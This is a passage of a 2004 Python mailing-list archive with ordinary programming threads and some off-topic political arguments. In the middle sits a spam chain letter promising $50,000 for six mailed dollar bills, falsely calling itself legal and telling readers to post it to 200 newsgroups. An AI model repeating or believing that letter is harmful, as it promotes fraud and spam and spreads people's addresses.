have run cx.execute() for all records, I commit all > the preceding inserts with conn.commit() > > I have tried using cx.executemany(), but if anything, this > makes the process slower. > > I have not tried mucking manually with transactions. > I have sufficiently convinced myself that the slow part > is in fact the cx.execute() - not reading the data from file > or anything else. > > Are there ways to make this process faster? According to [1]: pragma temp_store = memory; # or any bigger value ('2000' is the default) pragma cache_size = 4000; pragma count_changes = off; pragma synchronous = off; Also SQLite makes a commit after every SQL statement (not only those that alter the database)[2]. Therefor you have to manually start a transaction before the first SQL statement and manually commit after the last statement. You have to turn the integrated pysqlite committing off to be able to do this: connection = sqlite.connect(database, autocommit = 1) > Also, I want to keep the DB in memory, since I use it later > to run a very DB-intensive simulation against it. However, > this implies that I need to load the DB from the same python > program which will later run the simulation - I think. Yes. Thorsten [1] http://web.utk.edu/~jplyon/sqlite/SQLite_optimization_FAQ.html [2] http://web.utk.edu/~jplyon/sqlite/SQLite_optimization_FAQ.html#transactions From FBatista at uniFON.com.ar Thu Sep 23 09:05:52 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Thu, 23 Sep 2004 10:05:52 -0300 Subject: Why not FP for Money? Message-ID: <A128D751272CD411BC9200508BC2194D053C79B8@escpl.tcp.com.ar> [John Roth] #- > Or a currency type, specifically. #- #- Well, this was discussed and rejected - see the discussion #- on the decimal floating point PEP. I disagree with the #- rejection. [Shrug.] No, it wasn't rejected. Just postponed. As I wrote in the PEP: I wanted a Money data type, and after proposing a pre-PEP in comp.lang.python, the community agreed to have a numeric data type with the needed arithmetic behaviour, and then build Money over it: all the considerations about quantity of digits after the decimal point, rounding, etc., will be handled through Money. It is not the purpose of this PEP to have a data type that can be used as Money without further effort. Maybe someday I'll put to work again in a Money or Currency data type (which name do you prefer?), which, for example, keeps the decimal digits in 'n' (2, 3, 5, configurable) rounding at each operation, and gets printed like "$1,236.36", or "1236,36EU$" or something (depending on locale settings, overradeable with a context), and etc, and etc. . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040923/345919d2/attachment.html> From BrenBarn at aol.com Thu Sep 9 14:45:37 2004 From: BrenBarn at aol.com (OKB (not okblacke)) Date: 9 Sep 2004 18:45:37 GMT Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> Message-ID: <Xns955F779C04101OKB@130.133.1.4> Pierre Fortin wrote: > Attempting to specify a field width via '*' to a mapping fails.... > >>>> "%(two)*d" % (mapping,6) > Traceback (most recent call last): > File "<stdin>", line 1, in ? > TypeError: format requires a mapping >>>> "%(two)-*d" % (6,mapping) > Traceback (most recent call last): > File "<stdin>", line 1, in ? > TypeError: format requires a mapping I don't think this has anything to do with the * thing. You can't mix the sequence and mapping forms of %. For instance, this also fails >>> m = {'one': 1, 'two': 2} >>> "%(two)d %d" % (m, 6) Traceback (most recent call last): File "<pyshell#8>", line 1, in -toplevel- "%(two)d %d" % (m, 6) TypeError: format requires a mapping The error message is telling you the truth: you're passing the % operator a tuple, but your format string has a "%(two)" in it, which means it requires not a tuple but a mapping. -- --OKB (not okblacke) Brendan Barnwell "Do not follow where the path may lead. Go, instead, where there is no path, and leave a trail." --author unknown From noname at nodomain.com Sun Sep 5 06:49:31 2004 From: noname at nodomain.com (Fidel Viegas) Date: Sun, 05 Sep 2004 11:49:31 +0100 Subject: python from Java In-Reply-To: <mailman.2887.1094353612.5135.python-list@python.org> References: <mailman.2887.1094353612.5135.python-list@python.org> Message-ID: <cheqv1$ete$1@newsg4.svr.pol.co.uk> Ajay wrote: > hi! > > can you call a Python application from a Java program? does this require > any additional package to be installed? > Have a look at jython (http://www.jython.org) All the best Fidel. From hpenner at gmail.com Fri Sep 10 12:04:18 2004 From: hpenner at gmail.com (Harry Penner) Date: Fri, 10 Sep 2004 11:04:18 -0500 Subject: Xah Lee's Unixism In-Reply-To: <opsd4awqhupqzri1@mjolner.upc.no> References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> <opsd4awqhupqzri1@mjolner.upc.no> Message-ID: <822221bb040910090445f6ab6e@mail.gmail.com> Please educate yourself on what the agenda *is*, before making statements about it. A detailed analysis of the Bush foreign policy agenda and its underpinnings is here: http://www.commentarymagazine.com/podhoretz.htm Happy reading! -Harry On Fri, 10 Sep 2004 17:35:04 +0200, John Thingstad <john.thingstad at chello.no> wrote: > On Fri, 10 Sep 2004 08:26:15 -0700, Alan Balmer <albalmer at att.net> wrote: > > >> > > And, of course, entertaining the possibility that his agenda is just > > what he says it is, is completely out of the question. > > > > Yes, the Iraq war ruled that out. > > -- > Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ > > > -- > http://mail.python.org/mailman/listinfo/python-list > From me at privacy.net Fri Sep 24 18:42:54 2004 From: me at privacy.net (Richard Hanson) Date: Fri, 24 Sep 2004 15:42:54 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> <mailman.3821.1095980182.5135.python-list@python.org> <itq6l0hehkhv8psdin3unri3aba268i63u@4ax.com> <mailman.3830.1095998544.5135.python-list@python.org> <07c7l01vmhodigl5qcp27er6gm4l5b8r43@4ax.com> <pbadnZvDHOjzYM7cRVn-jg@powergate.ca> <mailman.3863.1096038128.5135.python-list@python.org> Message-ID: <oj89l05r3kmqbfck3kk371un6uo9c6rb2f@4ax.com> Carlos Ribeiro wrote: > My candidate for QOTW: > > "You *did* signal that quite adequately. This, however, is > comp.lang.python and clear signals never stopped anyone. <wink>" +1 (And I'm not biased at all... ;-) ) Richard Hanson -- sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com From aleaxit at yahoo.com Fri Sep 17 04:56:34 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 17 Sep 2004 10:56:34 +0200 Subject: Question: processing HTML, re-write default processing action of many tags References: <98ba0902.0409162115.3e2e9ee9@posting.google.com> Message-ID: <1gk97hp.1m5w8cr1jwtzn8N%aleaxit@yahoo.com> Hubert Hung-Hsien Chang <hubert at cs.nyu.edu> wrote: > I know you could use the > > > def start_a > .... > > def end_a > .... > > to process the <a href=...> anchor </a> tags, but is there a > default method for processing ALL tags? If I just want change > some parts of the hyperlink and want to keep other parts of the HTML > could I just print them out? There should be such a method. > Can't find it... You could subclass HTMLParser.HTMLParser and override handle_starttag and handle_endtag (also, if needed, handle_charref, handle_entityref, and last but not least handle_data -- that's assuming that while you only talk about processing _tags_ you may in fact also want to process references and text nodes... possibly handle_comment, too, btw). Alex From __peter__ at web.de Mon Sep 6 03:23:00 2004 From: __peter__ at web.de (Peter Otten) Date: Mon, 06 Sep 2004 09:23:00 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? References: <opsdq5katd35jo5o@news.gmane.org> <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <mailman.2838.1094223946.5135.python-list@python.org> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> <mailman.2905.1094405220.5135.python-list@python.org> Message-ID: <chh38l$4eq$06$1@news.t-online.com> Alex Martelli wrote: > $ python ~/cb/timeit.py -s'r=range(1000)' 'list(reversed(r))' > 10000 loops, best of 3: 99 usec per loop > > $ python ~/cb/timeit.py -s'r=range(1000)' '[x for x in reversed(r)]' > 1000 loops, best of 3: 706 usec per loop > > Dunno 'bout you guys, but I can't really afford to throw away a factor > of SEVEN in a perfectly ordinary task in such a fashion... For the sake of completeness, bypassing reversed() gains you another factor of two and might be worthwile, too, if you need the resulting list. $ python2.4 timeit.py -s"r = range(1000)" "[i for i in reversed(r)]" 10000 loops, best of 3: 148 usec per loop $ python2.4 timeit.py -s"r = range(1000)" "list(reversed(r))" 100000 loops, best of 3: 19.5 usec per loop $ python2.4 timeit.py -s"r = range(1000)" "r[::-1]" 100000 loops, best of 3: 9.17 usec per loop For loops reversed() remains the solution of choice, even if memory consumption is not a problem: $ python2.4 timeit.py "r=range(1000)" "for i in reversed(r): pass" 10000 loops, best of 3: 87.2 usec per loop $ python2.4 timeit.py "r=range(1000)" "for i in r[::-1]: pass" 10000 loops, best of 3: 99.7 usec per loop Peter From duncan.booth at invalid.invalid Thu Sep 23 07:56:40 2004 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 23 Sep 2004 11:56:40 GMT Subject: Why not FP for Money? References: <mailman.3721.1095866067.5135.python-list@python.org> <cc887c1d.0409222103.388c40de@posting.google.com> <mailman.3775.1095939700.5135.python-list@python.org> Message-ID: <Xns956D83A8D1E7duncanrcpcouk@127.0.0.1> Carlos Ribeiro wrote: > Now that we are talking about money types, I had an idea some time > ago and I would appreciate to hear some opinions. What do you think > about using a different notation for fixed point decimal literals in > Python, using the $ sign, as in: > > a) $1.0000 --> fixed point decimal, four digits of precision > b) 1$0000 -> alternative syntax, also with four digits > > and operations would also be easier to write, with type coercion, etc: > > $1.00 + 0.99212 --> $1.99 (rounded) > > That would make easy to supply fixed point literals. And I dont think > that the use of a symbol, in this case, is a case of Perlish > contamination -- even in countries where the money sign is different, > I think that most programmers would readily recognize the $ sign for > it. How about it? > I don't see the benefit. Can you give a use-case where you would actually write $1.00 + 0.99212 rather than, say, 'balance + interest'? For that matter can you give a use case where you actually need to write fixed point decimal literals in your code rather than taking them out of a configuration file? From lynn at garlic.com Wed Sep 8 22:08:30 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Wed, 08 Sep 2004 20:08:30 -0600 Subject: Xah Lee's Unixism References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> <opsdxecgt8pqzri1@mjolner.upc.no> <t7mjhc.ubd.ln@via.reistad.priv.no> Message-ID: <uacw0urc1.fsf@mail.comcast.net> Morten Reistad <firstname at lastname.pr1v.n0> writes: > Since I am on a roll with timelines; just one off the top of my head : > > Project start : 1964 > First link : 1969 > Transatlantic : 1972 (to Britain and Norway) > Congested : 1976 > TCP/IP : 1983 (the effort started 1979) (sort of a 2.0 version) > First ISP : 1983 (uunet, EUnet followed next year) > Nework Separation : 1983 (milnet broke out) > Large-scale design: 1987 (NSFnet, but still only T3/T1's) > Fully commercial : 1991 (WIth the "CIX War") > Web launced : 1992 > Web got momentum : 1994 > Dotcom bubble : 1999 (but it provided enough bandwith for the first time) > Dotcom burst : 2001 oh, and here is a recent referenct to some bitnet activity: http://www.garlic.com/~lynn/2004k.html#66 in the listserv history section some general bitnet/earn posts: http://www.garlic.com/~lynn/subnetwork.html#bitnet more than 20 year old email reference about earn http://www.garlic.com.~lynn/2001h.hytml#65 -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From garyr at fidalgo.net Sat Sep 18 16:41:31 2004 From: garyr at fidalgo.net (Gary Richardson) Date: Sat, 18 Sep 2004 13:41:31 -0700 Subject: win32api.SetCursorPos() question References: <10kol21ah3ulpcc@corp.supernews.com> <cihmfj$3r8$1@news5.zwoll1.ov.home.nl> Message-ID: <10kp7cg7au8pn20@corp.supernews.com> "vincent wehren" <vincent at visualtrans.de> wrote in message news:cihmfj$3r8$1 at news5.zwoll1.ov.home.nl... > Gary Richardson wrote: > > I'm trying to use win32api.SetCursorPos() to position the cursor in a > > Tkinter canvas window. I.e.: > > > > from Tkinter import * > > import win32api > > root = Tk() > > canvas = Canvas(root, width=400, height=300, bg='white') > > canvas.pack() > > win32api.SetCursorPos(100,100) > > root.mainloop() > > > > But this code produces: > > > > Traceback (most recent call last): > > File > > "C:\Python22\Lib\site-packages\Pythonwin\pywin\framework\scriptutils.py", > > line 301, in RunScript > > exec codeObject in __main__.__dict__ > > File "C:\My Documents\Python\Ascii\Script4.py", line 6, in ? > > win32api.SetCursorPos(100,100) > > TypeError: SetCursorPos() takes exactly 1 argument (2 given) > > > > Am I using this function incorrectly? A search on Google didn't turn up much > > but I did find one bit of code in which it was used in this manner. > > > > I suspect there may be other problems with this approach so any further > > comments will be appreciated also. I'm using ActivePython 2.2.2 build 224 on > > Win98SE. > > > > Different then what the docs say, this function seems to want a tuple as > argument. See if win32api.SetCursorPos((100,100)) does the trick. > > -- > Vincent Wehren I tried that. It doesn't produce an error but no cursor appears. From be_rich at getmoney.com Mon Sep 13 22:30:00 2004 From: be_rich at getmoney.com (Be Rich) Date: Tue, 14 Sep 2004 03:30:00 +0100 Subject: 6$ into $10 000? THIS REALLY WORKS!!!! Message-ID: <414656ab$0$4777$a729d347@news.telepac.pt> READ IT TILL THE END! THIS REALLY WORKS IF YOU FOLLOW THE INSTRUCTIONS!!!! MAKE MONEY!!!MAKE MONEY!!! MAKE THOUSANDS!!! I found this on a bulletin board and decided to try it: I don't care about the useless pre-fabricated crap this message usually says. All I say is, it works. Continue pre-fab crap. WELL GUESS WHAT!!! Within seven days, I started getting money in the mail!! I was shocked!! I figured it would end soon, but the money just kept coming in. In my first week, I made about $25.00. By the end of the second week I had made a total of more than $1000.00!! In the third week I had more than $10,000.00 and it's still growing!! This is now my fourth week and I have made a total of $42,000.00 and it's still coming rapidly. It's certainly worth $6.00 and six stamps, and I have spent more than that on the lottery without ever winning!!! Let me tell you how this works and most important, why it works.......... also make sure you print this out NOW, so you can get the information off of it, as you will need it. I promise you that if you follow the directions exactly that you will start making more money than you thought possible by doing something so easy!! Suggestion: Read this entire message carefully!! (Print it out or download it) Follow the simple directions and watch the money come in!! It's easy. It's legal. And, your investment is only $6.00 (Plus postage) !!! IMPORTANT: This is not a rip-off, it is decent; it's legal; and it is virtually no risk - it really works!! If all the following instructions are adhered to, you will receive extraordinary dividends. PLEASE NOTE: Please follow the directions EXACTLY, and $50,000 or more can be yours in 20 to 60 days. This program remains successful because of the honesty and integrity of the participants. Please continue its success by carefully adhering to the instructions. You will now become apart of the Mail Order business. You are in the business of developing Mailing Lists. Many large corporations are happy to pay big bucks for quality lists. However, the money made from the mailing lists is secondary to income which is made from people like you and me asking to be included in that list. Here are the four easy steps to success. STEP ONE: Get six separate pieces of paper and write the following on each piece of paper "PLEASE PUT ME ON YOUR MAILING LIST." Now get 6 U.S. $1.00 bills or UK ?1.00 or 1 ? (euro) and place ONE inside of EACH of the six pieces of paper so the bill will not be seen through the envelope (to prevent thievery). Next, place one paper in each of the six envelopes and seal them. You now should have six sealed envelopes, each with a piece of paper stating the above phrase, your name and address, and a $1.00 bill (or the other currencies). What you are doing is creating a service. THIS IS ABSOLUTELY LEGAL!!!!! You are requesting a legitimate service and you are paying for it!! Like most of us I was a little skeptical and little worried about the legal aspects of it all. So I checked it out with the U.S. Post Office (1-800-238-5355) and they confirmed that it is indeed legal!! Mail the six envelopes to the following addresses: 1) P. Delano 8 Wheeler Avenue Medford, MA 02155 2) A. L. Alexander 12 Briggate Elland Bridge Elland HX5 9DP England 3) G. Burrows 1/264 Tor St Toowoomba QLD 4350 Australia 4) Chris Kuehn 3477 S 11th St. Milwaukee W1, 53215 5)Ricardo Santos R. Ant?nio Jos? de Almeida 51 2? 6320 Sabugal PORTUGAL 6)R. Ansems Gen. Foulkesstraat 5 4641 BW Ossendrecht Netherlands STEP TWO:Now take the #1 name off the list that you see above, move the other names up (six becomes 5, 5 becomes 4, and etc.) and add YOUR NAME as number 6 on the list. STEP THREE: Change anything you need to but try to keep this article as close to original as possible. Now post your amended article to at least 200 news groups. : (I think there are close to 24,000 groups) All you need is 200, but remember, the more you post, the more money you make!! This is perfectly legal!! If you have any doubts, refer to Title 18 Sec. 1302 & 1341 of the Postal Lottery laws. Keep a copy of these steps for yourself and whenever you need money, you can use it again, and again. PLEASE REMEMBER that this program remains successful because of the honesty and integrity of the participants and by their carefully adhering to directions. Look at it this way. If you were of integrity, the program will continue and the money that so many others have received will come your way. NOTE: You may want to retain every name and address sent to you, either on a computer or hard copy and keep the notes people send you. This VERIFIES that you are truly providing a service. (Also, it might be a good idea to wrap the $1 bill in dark paper to reduce the risk of mail theft). So, as each post is downloaded and the directions carefully followed, all members will be reimbursed for their participation as a List Developer with one dollar each. Your name will move up the list geometrically so that when your name reaches the #1 position you will be receiving thousands of dollars in CASH!!! What an opportunity for only $6.00 ( $1.00 for each of the first six people listed above) Send it now, add your own name to the list and you're in business!!! *****DIRECTIONS FOR HOW TO POST TO NEWS GROUPS!!!***** STEP ONE: You do not need to re-type this entire letter to do your own posting. Simply put your cursor at the beginning of this letter and drag your cursor to the bottom of this document, and select 'copy' from the edit menu. This will copy the entire letter into the computer's memory. STEP TWO: Open a blank 'notepad' file and place your cursor at the top of the blank page. From the 'edit' menu select 'paste'. This will paste a copy of the letter into the notepad so that you will add your name to the list. STEP THREE: Save your new notepad file as a text file. If you want to do your posting in different settings, you'll always have this file to go back to. STEP FOUR: You can use a program like "postXpert" to post to all the newsgroups at once. You can find this program at <http://www.download.com>. Use Netscape or Internet Explorer and try searching for various new groups (on- line forums, message boards, chat sites, discussions.) STEP FIVE: Visit message boards and post this article as a new message by highlighting the text of this letter and selecting paste from the edit menu. Fill in the subject, this will be the header that everyone sees as they scroll through the list of postings in a particular group, click the post message button. You're done. Congratulations!!!!!! THAT'S IT!! All you have to do, and It Really works!!! Best Wishes From aleaxit at yahoo.com Thu Sep 16 07:22:34 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 16 Sep 2004 13:22:34 +0200 Subject: python: ascii read References: <cibndt$p2v$1@fsuj29.rz.uni-jena.de> Message-ID: <1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com> Sebastian Krause <canopus at gmx.net> wrote: > Hello, > > I tried to read in some large ascii files (200MB-2GB) in Python using > scipy.io.read_array, but it did not work as I expected. The whole idea > was to find a fast Python routine to read in arbitrary ascii files, to > replace Yorick (which I use right now and which is really fast, but not > as general as Python). The problem with scipy.io.read_array was, that it > is really slow, returns errors when trying to process large files and it > also changes (cuts) the files (after scipy.io.read_array processed a 2GB > file its size was only 64MB). > > Can someone give me hint how to use Python to do this job correctly and > fast? (Maybe with another read-in routine.) If all you need is what you say -- read a huge amount of ASCII data into memory -- it's hard to beat data = open('thefile.txt').read() mmap may in fact be preferable for many uses, but it doesn't actually read (it _maps_ the file into memory instead). Alex From aleaxit at yahoo.com Fri Sep 24 19:09:05 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 25 Sep 2004 01:09:05 +0200 Subject: Python and Sybase References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu> <mailman.3815.1095972439.5135.python-list@python.org> Message-ID: <1gkn9go.1d3dgwh4edmdrN%aleaxit@yahoo.com> Josh Close <narshe at gmail.com> wrote: > > Also, is there any module that provides a generic DB API and can be > > hooked to both Sybase and postgresql? This > > (http://www.python.org/peps/pep-0249.html) looks pretty old. > > Why would you need that? Python has a DB API, so all you have to do to > change from db to db is the connection string. > > conn = Sybase.connection(.....) > conn = otherModules.connection(....) > > Everthing else should work the same way. ...except that you may need to use different placeholders in SQL strings for parameters to insert (sigh)... Alex From tweedgeezer at hotmail.com Thu Sep 23 12:11:38 2004 From: tweedgeezer at hotmail.com (Jeremy Fincher) Date: 23 Sep 2004 09:11:38 -0700 Subject: Python speed-up References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> <1gkj2vn.4w5b464zur5rN%aleaxit@yahoo.com> <mailman.3739.1095881975.5135.python-list@python.org> Message-ID: <698f09f8.0409230811.d5f4641@posting.google.com> Gerrit <gerrit at nl.linux.org> wrote in message news:<mailman.3739.1095881975.5135.python-list at python.org>... > Why isn't cStringIO faster than concatenating strings? It is, when you're doing it repetitively. Using cStringIO or str.join is O(n) in the number of strings, whereas using += repetitively is O(n**2) in the number of strings. > Using python2.4: > > $ python timeit.py -s 'from cStringIO import StringIO; s=StringIO()' "s.write('foo')" > 1000000 loops, best of 3: 0.555 usec per loop > > $ python timeit.py -s 's=""' "s+='foo'" > 1000000 loops, best of 3: 0.383 usec per loop > > $ python timeit.py -s 'L=[]' "L.append('foo')" > 1000000 loops, best of 3: 0.32 usec per loop > > $ python timeit.py -s 'from StringIO import StringIO; s=StringIO()' "s.write('foo')" > 100000 loops, best of 3: 3.19 usec per loop Don't let the "100000 loops" confuse you, in this case you're only appending *one* string, and the significantly lower constant time of str.__iadd__ (aka +=) shows more than the lower complexity of the other methods. > I was about to advise cStringIO as being much faster than concatenating > strings, but just before I was about to send the e-mail, I spied with my > little eye that the numbers were swapped - concatenating strings is > actually *faster* than using cStringIO! What's happening? Perhaps this will be more elucidating: $ python ~/timeit.py 's = ""' 'for i in xrange(1):' ' s += "foo"' 100000 loops, best of 3: 4.38 usec per loop $ python ~/timeit.py -s 'from cStringIO import StringIO' 'sio = StringIO()' 'for i in xrange(1):' ' sio.write("foo")' 's = sio.getvalue()' 100000 loops, best of 3: 9.77 usec per loop $ python ~/timeit.py 's = ""' 'for i in xrange(10):' ' s += "foo"' 10000 loops, best of 3: 15.8 usec per loop $ python ~/timeit.py -s 'from cStringIO import StringIO' 'sio = StringIO()' 'for i in xrange(10):' ' sio.write("foo")' 's = sio.getvalue()' 10000 loops, best of 3: 36.6 usec per loop $ python ~/timeit.py 's = ""' 'for i in xrange(100):' ' s += "foo"' 1000 loops, best of 3: 154 usec per loop $ python ~/timeit.py -s 'from cStringIO import StringIO' 'sio = StringIO()' 'for i in xrange(100):' ' sio.write("foo")' 's = sio.getvalue()' 1000 loops, best of 3: 264 usec per loop $ python ~/timeit.py 's = ""' 'for i in xrange(1000):' ' s += "foo"' 100 loops, best of 3: 2.23e+03 usec per loop $ python ~/timeit.py -s 'from cStringIO import StringIO' 'sio = StringIO()' 'for i in xrange(1000):' ' sio.write("foo")' 's = sio.getvalue()' 100 loops, best of 3: 2.62e+03 usec per loop $ python ~/timeit.py 's = ""' 'for i in xrange(10000):' ' s += "foo"' 10 loops, best of 3: 7.14e+05 usec per loop $ python ~/timeit.py -s 'from cStringIO import StringIO' 'sio = StringIO()' 'for i in xrange(10000):' ' sio.write("foo")' 's = sio.getvalue()' 10 loops, best of 3: 2.66e+04 usec per loop Do be sure not to use -s before the 's = ""' argument or before the 'sio = StringIO()' argument, otherwise you'll prove your point well, but not fairly :) Jeremy From adalke at mindspring.com Thu Sep 23 16:25:46 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 23 Sep 2004 20:25:46 GMT Subject: Call for suggestions: Declaring data entry forms using Python classes In-Reply-To: <mailman.3799.1095959172.5135.python-list@python.org> References: <mailman.3799.1095959172.5135.python-list@python.org> Message-ID: <ejG4d.8040$gG4.2617@newsread1.news.pas.earthlink.net> Carlos Ribeiro wrote: > # decorates getmyposition to hide the internal static var > getmyposition = getmyposition().next Codewise this is probably cleaner import itertools getmyposition = itertools.count().next More than that requires I know how to use metaclasses. :) If it works like I think it does then it's pretty neat. Andrew dalke at dalkescientific.com From narshe at gmail.com Fri Sep 17 15:22:21 2004 From: narshe at gmail.com (Josh Close) Date: Fri, 17 Sep 2004 14:22:21 -0500 Subject: smtplib (111, 'Connection refused') Message-ID: <4a0cafe2040917122245fab8f4@mail.gmail.com> I'm using the smtplib module and I keep getting this error: (111, 'Connection refused') What could be causing this? I've tried it from a different computer and it seems to work, but not from this specific server. If port 25 was blocked for some reason, would that give me a 'connection refused' error? -Josh From kkt at drizzle.com Tue Sep 14 13:15:27 2004 From: kkt at drizzle.com (Patrick Scheible) Date: 14 Sep 2004 10:15:27 -0700 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> <Zdm0d.88398$S55.30393@clgrps12> <chsvv6$v15$1@grandcanyon.binc.net> Message-ID: <tqm3c1krcuo.fsf@drizzle.com> Chuck Dillon <spam at nimblegen.com> writes: > Coby Beck wrote: > > >> > >>And, of course, entertaining the possibility that his agenda is just > >>what he says it is, is completely out of the question. > > Not out of the question, be obviously untrue. > > Again, I'll point out that it is naive to put this entirely on the > administration. We're in Iraq because we effectively declared > war. The dance with the U.N. went on for some 3 months. It was clear > where we were headed. Our congress, including Kerry and all of the ^^^ Not all. I'm happy to say my representative and one of my senators voted against the resolution authorizing the war. Congress doesn't have its own intelligence service. If the administration claims to have clear evidence that a country has WMD there's only so much that a minority party in congress can do to find out if the administration is lying or engaged in wishful thinking. -- Patrick From fumanchu at amor.org Tue Sep 21 14:30:20 2004 From: fumanchu at amor.org (Robert Brewer) Date: Tue, 21 Sep 2004 11:30:20 -0700 Subject: class size Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EF7@exchange.hqamor.amorhq.net> Brad Tilley wrote: > How large (lines of code) should a class be before one should > split it > into smaller classes? Is there a general rule on this? How many > functions should a class contain? Are there limits (theoretical or > practical) that people learning classes should adhere to? Short answer: no. Quantifying human behavior and understanding isn't something you should agonize over unless you're a CTO. Just get the job done. How large should a novel be before one should split it into short stories? How many chapters should a book contain? Every author (of both code and novels) will have their own formula--some will share them in this thread, I'm sure. But the shortest answer is still "no". ;) Robert Brewer MIS Amor Ministries fumanchu at amor.org From bdesth.quelquechose at free.quelquepart.fr Tue Sep 21 11:24:21 2004 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Tue, 21 Sep 2004 17:24:21 +0200 Subject: python ides In-Reply-To: <mailman.3639.1095771048.5135.python-list@python.org> References: <mailman.3639.1095771048.5135.python-list@python.org> Message-ID: <41503f1b$0$12985$626a14ce@news.free.fr> kevin wrote: > > Since i saw a post about a troll saying python doesnt have good ides(not > true) , i would like to say that python has the best ide ever! and i > challenge emacs,vim users who dont believe in the power of an ide , They do ! That's why they use one of the two best IDEs around... From jmfbahciv at aol.com Thu Sep 9 09:07:05 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Thu, 09 Sep 04 13:07:05 GMT Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <uzn47qezk.fsf@mail.comcast.net> <rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com> <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> Message-ID: <4140688e$0$6912$61fed72c@news.rcn.com> In article <413F43AC.9D2088AF at yahoo.com>, CBFalconer <cbfalconer at yahoo.com> wrote: >jmfbahciv at aol.com wrote: >> Alan Balmer <albalmer at att.net> wrote: >>> CBFalconer <cbfalconer at yahoo.com> wrote: >>>> Alan Balmer wrote: >>>>> >>>>... snip ... >>>>> >>>>> I'm not a fan of Mr Hatch, but blaming him for the shuttle >>>>> disaster(s) is somewhat over the top. Why not blame President >>>>> Bush? That's the popular thing nowadays. >>>> >>>> Alright, if you insist. But is it really necessary? We can find >>>> adequate charges without reaching very hard. >>> >>> Then why are so many people reaching so hard? >> >> It's apparently having the desired effect. The subject of >> the radio talk show last night was about the results of a poll >> where 41% of the people asked (New York state residents) believed >> that Bush and Co. knew that the WTC was going to be attacked and >> did nothing to prevent it. The Bush-bashing is working. The >> Democrats are opening the city gates to the barbarians. > >I deplore your tast in radio talk shows. Oh! Taste in talk shows. > .. It doesn't take much to >create a rabble rousing poll to increase ratings. I listen to them for data about how the rabble is thinking and the logic they use to form their opinions. I also watch those religious cable TV shows to gather the same kinds of information; note that I can only manage to listen to these about 10 minutes and not more than once/year. I also listen to Rushie to see what kinds of lies that half of the world is listening to. I watch CSPAN who never cut out for commericals, don't edit too much, and tend to leave the mike on after the meetings break up. > >There is no need, nor cause, to impute Bush & Co. with >intrinsically evil intentions. It is quite enough to point to >their lack of capability, and bull headed 'revenge for daddy' >propensities. The state of the economy, unemployment, poverty >rate, medical care, deficit, death rate in Iraq (both of Americans >and Iraqis), abandonment of the Bin Laden hunt, abridgement of >civil liberties (as in the Patriot Act and the Gitmo gulag), poor >choice of companions (Halliburton and other political donors and >trough feeders, and the 'plausible deniability' of the Swiftboat >gang), irritation of allies, inability to deal with North Korea >(due to involvement with useless adventures), abandonment of >efforts towards a Palestinian peace, all spring to immediate mind. Well, your Bush-hater campaign is working beyond all your expectations. One day, you will have to live it. > >Yes, we have had no experience with a Kerry administration, OH, fuckmeverymuch. I am in Mass. We do have some experience of a Kerry administration. For those you who don't, watch how he runs his campaign. He will run the country in the same manner. > .. but we >have had far too much experience with a Bush administration. Do you think that hiring a person who doesn't like to do work will make things better? Things can be worse..a lot worse. /BAH Subtract a hundred and four for e-mail. From db3l at fitlinxx.com Mon Sep 6 14:16:36 2004 From: db3l at fitlinxx.com (David Bolen) Date: 06 Sep 2004 14:16:36 -0400 Subject: Linux application deployment References: <mailman.2932.1094487159.5135.python-list@python.org> Message-ID: <ur7pfb6uz.fsf@fitlinxx.com> "Robert Brewer" <fumanchu at amor.org> writes: > Shorter version for the local directory: > > import os.path > localDir = os.path.dirname(__file__) Note that __file__ isn't set for top level scripts prior to Python 2.3, so if you need to support older versions you may want to try the __file__ access and fall back to argv[0] if its not available. -- David From in.aqua.scribis at nl.invalid Tue Sep 7 17:25:18 2004 From: in.aqua.scribis at nl.invalid (Peter Kleiweg) 